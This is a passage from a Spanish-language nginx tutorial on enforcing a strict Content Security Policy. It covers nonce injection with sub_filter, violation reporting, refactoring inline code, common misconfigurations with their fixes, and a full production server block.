Fase 3: Aplicar

Modo de aplicación nginx
# Now blocking violations
add_header Content-Security-Policy "..." always;

# Optional: keep report-only for testing stricter future policies
add_header Content-Security-Policy-Report-Only "...even-stricter-policy..." always;

Configurar el reporting de CSP

El reporting integrado de CSP te informa cuando se producen violaciones — es esencial para la depuración y la detección de ataques.

report-uri está obsoleto

report-uri está obsoleto .

Usar en su lugar: report-to

Opción 1: Logging simple con Nginx

/​etc/​nginx/​sites-available/​example.com
# Reporting endpoint
location /csp-report {
    access_log /var/log/nginx/csp-report.log;
    return 204;
}
Cabecera CSP con reporting
# Modern Reporting API (Chrome 70+)
add_header Reporting-Endpoints 'csp-endpoint="/csp-report"' always;

# CSP with both legacy and modern reporting
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    ...
    report-uri /csp-report;
    report-to csp-endpoint;
" always;

Opción 2: Servicios de terceros

Servicios como Report URI proporcionan dashboards y análisis:

Reporting con servicio externo nginx
report-uri https://your-subdomain.report-uri.com/r/d/csp/enforce;
report-to csp-endpoint;

Formato del informe de violación

Los navegadores envían informes JSON como este:

csp-violation-report.json
{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "blocked-uri": "https://evil.com/script.js",
    "violated-directive": "script-src-elem",
    "effective-directive": "script-src-elem",
    "original-policy": "script-src 'nonce-abc123' 'strict-dynamic'",
    "disposition": "enforce",
    "status-code": 200,
    "script-sample": "",
    "line-number": 42,
    "column-number": 15,
    "source-file": "https://example.com/page"
  }
}

Refactorizar código para CSP

Algunos patrones comunes son incompatibles con una CSP estricta. Así es como se corrigen:

Inline event handlers → addEventListener

Bloqueado por CSP
<button onclick="submitForm()">Submit</button>
<a href="javascript:doSomething()">Click</a>
<form onsubmit="validate()">...</form>
Compatible con CSP
<button id="submitBtn">Submit</button>
<a href="#" id="actionLink">Click</a>
<form id="myForm">...</form>

<script nonce="CSP_NONCE_NGINX">
  document.getElementById('submitBtn')
    .addEventListener('click', submitForm);
  
  document.getElementById('actionLink')
    .addEventListener('click', (e) => {
      e.preventDefault();
      doSomething();
    });
  
  document.getElementById('myForm')
    .addEventListener('submit', validate);
</script>

eval() → JSON.parse()

Usa eval() - Bloqueado
// Dangerous - blocked by CSP
const data = eval('(' + jsonString + ')');
setTimeout('doSomething()', 1000);
const fn = new Function('x', 'return x * 2');
Usa JSON.parse() - Permitido
// Safe - works with strict CSP
const data = JSON.parse(jsonString);
setTimeout(doSomething, 1000);
const fn = (x) => x * 2;

Estilos inline en JS → CSS custom properties

Usando setAttribute (puede ser bloqueado)
// setAttribute('style', ...) can be blocked by style-src
element.setAttribute('style', 'color:' + color);
// Note: element.style.property = value is NOT blocked by CSP,
// but using CSS custom properties is more maintainable
CSS Custom Properties
// Works with strict CSP and is more maintainable
element.style.setProperty('--user-color', userColor);
element.classList.add('highlighted');
.highlighted {
  background: var(--user-color, #fff);
}

Pruebas y validación

Herramientas de desarrollo del navegador

Tu mejor aliado para depurar CSP. Abre F12 → Consola para ver las violaciones en tiempo real:

Violación de CSP en la consola de Chrome
Refused to execute inline script because it violates the following Content
Security Policy directive: "script-src 'nonce-abc123' 'strict-dynamic'".
Either the 'unsafe-inline' keyword, a hash ('sha256-…'), or a nonce
('nonce-…') is required to enable inline execution.

Herramientas online

Herramientas de prueba de CSP
HerramientaPropósito
Mozilla ObservatoryEvaluación completa de cabeceras de seguridad (A+ posible)
Google CSP EvaluatorEncuentra bypasses lógicos en tu política (muy recomendado)
SecurityHeaders.comAnálisis rápido de cabeceras y puntuación
CSP Hash GeneratorGenera hashes para scripts inline

Errores comunes

1. Usar 'unsafe-inline' para scripts

Anula la protección de CSP
# Your CSP is now useless for XSS protection
script-src 'self' 'unsafe-inline';
Usa nonces en su lugar
# Actual protection
script-src 'self' 'nonce-$cspNonce';

2. Fuentes excesivamente permisivas

NO HAGAS ESTO: Confiar en esquemas completos nginx
# DANGER: Trusts the entire internet!
script-src 'self' https:;
img-src *;

Esto permite que cualquier script HTTPS se ejecute, anulando completamente el propósito de CSP.

3. Olvidar directivas obligatorias

Incompleta - Eludible
# Missing critical directives!
script-src 'nonce-$cspNonce';
CSP estricta completa
# All required directives present
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';

4. Olvidar always en Nginx

Solo respuestas 2xx
# CSP missing on 404, 500 pages!
add_header Content-Security-Policy "...";
Todas las respuestas incluidas las de error
# CSP on ALL responses
add_header Content-Security-Policy "..." always;

Sin always, las cabeceras CSP no se envían en páginas de error (404, 500), dejando esas páginas vulnerables.

5. Trampa de herencia de add_header

Las cabeceras se sobrescriben en locations anidados nginx
location / {
    add_header Content-Security-Policy "..." always;
    add_header X-Frame-Options "DENY" always;
}

location /assets/ {
    # WARNING: This REPLACES parent headers, not adds to them!
    add_header Cache-Control "public, immutable" always;
    # CSP and X-Frame-Options are now MISSING here!
}

Solución: Usa snippets con include para compartir cabeceras entre locations.


Ejemplo completo de producción

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    listen [::]:443 ssl;
    http2 on;
    server_name example.com;
    
    root /var/www/example.com;
    index index.html;
    
    # ================================================
    # CSP Nonce Setup
    # ================================================
    set $cspNonce $request_id;
    sub_filter_once off;
    sub_filter_types text/html text/css application/javascript;
    sub_filter CSP_NONCE_NGINX $cspNonce;
    
    # ================================================
    # Build CSP Header
    # ================================================
    set $csp "default-src 'none'; ";
    set $csp "${csp}script-src 'self' 'nonce-${cspNonce}' 'strict-dynamic'; ";
    set $csp "${csp}style-src 'self' 'nonce-${cspNonce}'; ";
    set $csp "${csp}img-src 'self' data:; ";
    set $csp "${csp}font-src 'self'; ";
    set $csp "${csp}connect-src 'self'; ";
    set $csp "${csp}worker-src 'self'; ";
    set $csp "${csp}object-src 'none'; ";
    set $csp "${csp}base-uri 'none'; ";
    set $csp "${csp}frame-ancestors 'none'; ";
    set $csp "${csp}form-action 'self'; ";
    set $csp "${csp}upgrade-insecure-requests; ";
    set $csp "${csp}report-uri /csp-report; ";
    set $csp "${csp}report-to csp-endpoint";
    
    # ================================================
    # Security Headers
    # ================================================
    add_header Reporting-Endpoints 'csp-endpoint="/csp-report"' always;
    add_header Content-Security-Policy $csp always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
    add_header Cross-Origin-Opener-Policy "same-origin" always;
    # Note: require-corp is strict - external resources (fonts, CDNs) must provide
    # CORP/CORS headers. Use "credentialless" for broader compatibility.
    add_header Cross-Origin-Embedder-Policy "require-corp" always;
    add_header Cross-Origin-Resource-Policy "same-origin" always;
    
    # ================================================
    # Routes
    # ================================================
    location / {
        try_files $uri $uri/ =404;
    }
    
    # CSP Violation Reporting Endpoint
    location /csp-report {
        access_log /var/log/nginx/csp-report.log;
        return 204;
    }
    
    # Static assets with relaxed CORP for social media
    # Note: add_header in location blocks overrides parent-level headers,
    # so we must re-include essential security headers here
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable" always;
        add_header Cross-Origin-Resource-Policy "cross-origin" always;
        # Re-include essential security headers
        add_header X-Content-Type-Options "nosniff" always;
        add_header Referrer-Policy "strict-origin-when-cross-origin" always;
        add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    }
}

Tu camino con CSP: Resumen

Hoja de ruta para implementar CSP
  1. Empieza simple — Despliega default-src 'self' en modo report-only
  2. Añade directivas progresivamente — Scripts, estilos, imágenes, etc.
  3. Gestiona los scripts inline — Muévelos a archivos, usa hashes o implementa nonces
  4. Para sitios estáticos — Usa sub_filter de Nginx para inyección de nonces
  5. Aplica la CSP estricta — Añade 'strict-dynamic', object-src 'none', base-uri 'none'
  6. Configura el reporting — Monitoriza las violaciones con report-uri / report-to
  7. Aplica gradualmente — Cambia de report-only a aplicación tras las pruebas
  8. Mantén e itera — Sigue monitorizando, actualiza según evolucione tu aplicación

Preguntas frecuentes

¿Cuál es la CSP más sencilla para empezar en Nginx?

Añade la única cabecera `add_header Content-Security-Policy "default-src 'self'" always;` a tu bloque server. Esto le indica al navegador que solo permita recursos de tu mismo origen (mismo esquema, host y puerto), bloqueando inmediatamente los scripts externos, los scripts inline y los estilos inline.

¿Por qué los nonces son mejores que las allowlists de dominios en CSP?

La investigación de Google logró eludir el 94,72 % de todas las políticas CSP distintas, y el 75,81 % se apoya en listas de permitidos de scripts que un atacante puede eludir, porque los CDN de confianza suelen alojar endpoints JSONP, redirecciones abiertas o script gadgets que los atacantes explotan. Los nonces son tokens criptográficamente aleatorios por petición que un atacante no puede adivinar, así que ofrecen protección real contra XSS sin importar qué bibliotecas se carguen.

¿Cómo pueden los sitios estáticos usar nonces si el HTML se genera en tiempo de build?

Coloca un placeholder como `CSP_NONCE_NGINX` en tus plantillas en tiempo de build y haz que Nginx genere un nonce único por petición con `set $cspNonce $request_id;` y reemplace el placeholder con `sub_filter`. El mismo valor `$cspNonce` va en la cabecera CSP, de modo que el nonce del HTML y el de la cabecera siempre coinciden.

¿Qué hace 'strict-dynamic' en una CSP?

`'strict-dynamic'` permite que los scripts cargados por un script ya confiable también se ejecuten sin necesitar su propio nonce, de forma que la confianza se propaga por la cadena. Cuando está presente, las fuentes de tipo allowlist como `'self'` o dominios específicos se ignoran para la carga de scripts: solo los nonces y hashes otorgan la confianza inicial.

¿Qué directivas son obligatorias para una CSP estricta?

Una CSP estricta usa nonces o hashes en lugar de allowlists de dominios, incluye `'strict-dynamic'` para la carga dinámica de scripts, establece `object-src 'none'` para bloquear plugins y establece `base-uri 'none'` para prevenir la inyección de etiquetas base.

¿Cómo despliego CSP de forma segura sin romper mi sitio?

Nunca despliegues una CSP estricta directamente en producción. Primero ejecútala en modo `Content-Security-Policy-Report-Only` durante una o dos semanas para registrar violaciones sin bloquear, corrige problemas como los inline event handlers y las llamadas a `eval()`, y luego cambia a la aplicación gradualmente.